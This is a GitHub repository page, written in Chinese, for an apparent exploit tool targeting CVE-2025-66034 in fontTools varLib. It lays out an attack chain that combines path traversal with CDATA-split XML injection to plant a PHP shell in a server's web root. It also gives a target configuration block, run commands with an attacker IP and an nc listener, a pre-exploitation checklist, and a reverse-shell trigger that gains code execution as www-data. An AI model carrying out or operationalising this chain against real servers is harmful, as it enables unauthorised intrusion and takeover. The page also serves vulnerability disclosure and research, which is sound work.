v3cn4x00/POC-CVE-2025-66034
GitHub: v3cn4x00/POC-CVE-2025-66034
针对 CVE-2025-66034 的完整利用工具,通过组合路径穿越和 XML 注入实现针对 fontTools varLib 组件的任意文件写入与远程代码执行。
Stars: 2 | Forks: 0
# font_varlib.py — CVE-2025-66034






## 目录
- [概述](#overview)
- [漏洞详情](#vulnerability-details)
- [攻击链](#attack-chain)
- [环境要求](#requirements)
- [安装说明](#installation)
- [配置说明](#configuration)
- [使用方法](#usage)
- [工作原理](#how-it-works)
- [漏洞代码](#vulnerable-code)
- [利用前检查清单](#pre-exploitation-checklist)
- [测试环境](#tested-on)
- [免责声明](#disclaimer)
- [参考资料](#references)
## 概述
**CVE-2025-66034** 是 `fontTools.varLib` 可变字体生成管线中的一个漏洞。当 Web 应用程序暴露此管线并接受用户提供的 `.designspace` 文件时,两个弱点链接在一起可实现 **未经认证的远程代码执行**。
`font_varlib.py` 自动化了完整的漏洞利用链 —— 字体生成、payload 制作、上传以及反向 shell 交付。
## 漏洞详情
| 字段 | 详情 |
|-------|--------|
| CVE ID | CVE-2025-66034 |
| GHSA | GHSA-768j-98cg-p3fv |
| 软件包 | fonttools (pip) |
| 受影响版本范围 | `>= 4.33.0, < 4.60.2` |
| 修复版本 | `4.60.2` |
| 严重程度 | 中等 (CVSS 6.3) |
| 攻击向量 | 本地 (需要将文件上传至目标) |
| 所需权限 | 无 |
| 用户交互 | 需要 (上传触发) |
### 弱点链
| # | 原语 | CWE | 根本原因 |
|---|-----------|-----|------------|
| 1 | 路径穿越 | CWE-22 | `.designspace` 中的 `filename` 属性直接传递给 `os.path.join()` 而未经过过滤 —— 绝对路径会完全覆盖预期的输出目录 |
| 2 | XML 注入 | CWE-91 | `` CDATA 部分允许使用分割序列 (`]]]]>`) 将原始 PHP 代码绕过 XML 解析器混入写入的输出文件中 |
## 攻击链
```
Attacker crafts malicious .designspace
│
├──
│ └── PATH TRAVERSAL
│ os.path.join(output_dir, absolute_path)
│ → output_dir discarded → write to web root
│
└── ]]]]>]]>
└── XML INJECTION
CDATA split embeds raw PHP
into the output font binary
│
▼
fontTools.varLib.main() processes file server-side
│
▼
shell.php written to web-accessible directory
│
▼
GET /files/shell.php → PHP executes → reverse shell callback
│
▼
RCE as www-data
```
## 环境要求
**Python:** 3.9+
**依赖项:**
```
pip install fonttools requests
```
**系统:**
```
nc (netcat) — required for auto listener mode (--no-listen skips this)
```
## 安装说明
```
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
```
## 配置说明
在运行之前,打开 `font_varlib.py` 并更新文件顶部的配置块以匹配您的目标。每个值都有内联注释解释其含义以及如何找到正确的值。
```
# ══════════════════════════════════════════════════════════════════════════════
# DEFAULTS
# 在运行前更改这些值以匹配您的目标。
# 所有值也可以在运行时通过 CLI flags 覆盖 — 参见 --help。
# ══════════════════════════════════════════════════════════════════════════════
# 上传主机的 Base URL(即接受 .designspace 的站点)
UPLOAD_HOST = "http://test.com"
# 上传主机上处理 multipart form POST 的路径
# 使用 Burp 确认 — 在点击生成按钮后查找 POST 请求
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# 服务器上写入输出文件的绝对文件系统路径
# 必须可通过 Web 访问,以便通过 HTTP 触发 shell
WEBROOT = "/var/www/test.com/public/files"
# 用于获取/触发已写入 shell 文件的 Base URL
# 映射到磁盘上的 WEBROOT
SHELL_HOST = "http://testing.test.com/files"
# Multipart form 字段名称 — 运行前请使用 Burp 确认
# 如果上传静默失败(HTTP 200 但没有 shell),通常是由错误的字段名称导致的
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# Shell 文件名前缀 — 运行时附加随机后缀
SHELL_PREFIX = "f0nt_"
# 随机后缀的长度 — 越长越难猜测
SHELL_SUFFIX_LEN = 8
```
## 使用方法
### 基础用法 — 自动 nc 监听器
```
python3 font_varlib.py --ip --port
```
### 手动监听器 — 自行启动 nc
```
# 终端 1 — 启动您的 listener
nc -lvnp 4444
# 终端 2 — 运行 exploit(不使用自动 listener)
python3 font_varlib.py --ip --port 4444 --no-listen
```
### 自定义目标 — 运行时覆盖所有默认值
```
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
```
### 完整选项参考
| 参数 | 必填 | 默认值 | 描述 |
|----------|----------|---------|-------------|
| `--ip` | ✓ | — | 攻击者监听器 IP |
| `--port` | ✓ | — | 攻击者监听器端口 |
| `--upload` | | `UPLOAD_HOST + UPLOAD_ENDPOINT` | 上传端点 (POST) |
| `--webroot` | | `WEBROOT` | 服务器端文件系统写入路径 (必须可通过 Web 访问) |
| `--shell` | | `SHELL_HOST` | 用于触发已写入 shell 的基础 URL |
| `--no-listen` | | `false` | 跳过自动 nc 监听器 — 仅触发 |
## 工作原理
### 步骤 1 — 字体生成
使用 `fontTools.FontBuilder` 以编程方式生成两个最小但结构有效的 `.ttf` 源文件。`varLib` 至少需要两个轴主文件才能处理可变字体 —— 这些文件满足该要求,而无需磁盘上存在真实的字体文件。
### 步骤 2 — Payload 制作
构建一个恶意的 `.designspace` XML 文件,嵌入两个攻击原语:
**原语 1 — 通过 CDATA 分割进行 XML 注入:**
```
]]]]>]]>
```
序列 `]]]]>` 终止当前的 CDATA 块并立即打开一个新的块。XML 解析器将其作为有效标记处理,但 `varLib` 将内容逐字序列化到输出文件中 —— 将原始 PHP 代码嵌入到字体二进制文件中。
**原语 2 — 通过 filename 属性进行路径穿越:**
```
```
`varLib` 按如下方式构建输出路径:
```
output_path = os.path.join(output_dir, filename)
```
当 `filename` 是绝对路径时,Python 的 `os.path.join()` 会完全丢弃 `output_dir`。受影响的版本中未应用任何过滤措施。
### 步骤 3 — 上传
`.designspace` 和两个 `.ttf` 文件作为 multipart POST 发送到目标的字体生成端点,使用的字段名称已通过 Burp 确认。
### 步骤 4 — 触发
对已写入的 `.php` 文件执行 HTTP GET 请求将执行反向 shell,该 shell 通过 `fsockopen` + `proc_open` 回连到攻击者的 `nc` 监听器 —— 目标上无需 curl、wget 或 Python。
## 漏洞代码
**`fontTools/varLib/__init__.py` (受影响版本):**
```
filename = vf.filename # attacker-controlled, unsanitised
output_path = os.path.join(output_dir, filename) # path traversal via absolute path
vf.save(output_path) # arbitrary file write
```
**4.60.2 中的补丁** —— 在构建 `output_path` 之前对 `filename` 强制执行 `os.path.basename()`,去除所有路径穿越序列。
## 利用前检查清单
在运行之前,确认以下所有事项:
```
[ ] fonttools version on target is >= 4.33.0 and < 4.60.2
[ ] Target accepts .designspace + .ttf file uploads
[ ] Backend calls fontTools.varLib.main() on the uploaded .designspace
[ ] Upload form field names confirmed with Burp (designspace + masters)
[ ] WEBROOT is web-accessible from outside
[ ] WEBROOT is writable by the web process (www-data or equivalent)
[ ] SHELL_HOST (--shell) is reachable from your machine
[ ] Target hostname are in /etc/hosts
```
## 测试环境
| 环境 | fonttools 版本 | 结果 |
|-------------|------------------|--------|
| Ubuntu 22.04 / Python 3.11 | 4.59.0 | ✓ 已确认 |
## 免责声明
本工具仅用于**教育和授权安全研究目的**。
请勿对您不拥有或**未获得明确书面许可**进行测试的任何系统使用本工具。作者不对滥用或本软件造成的任何损害承担责任。
## 参考资料
| 资源 | 链接 |
|----------|------|
| NVD — CVE-2025-66034 | https://nvd.nist.gov/vuln/detail/CVE-2025-66034 |
| fontTools 安全公告 | https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv |
| 补丁提交 — a696d5b | https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32 |
| fontTools 项目 | https://github.com/fonttools/fonttools |
标签:CISA项目, CVE-2025-66034, CWE-22, fonttools, Maven, PE 加载器, PoC, RCE, varLib, Web安全, 任意文件写入, 反向Shell, 威胁模拟, 字体安全, 文件上传漏洞, 暴力破解, 漏洞分析, 漏洞验证, 编程工具, 网络信息收集, 网络安全, 蓝队分析, 路径探测, 路径遍历, 远程代码执行, 逆向工具, 隐私保护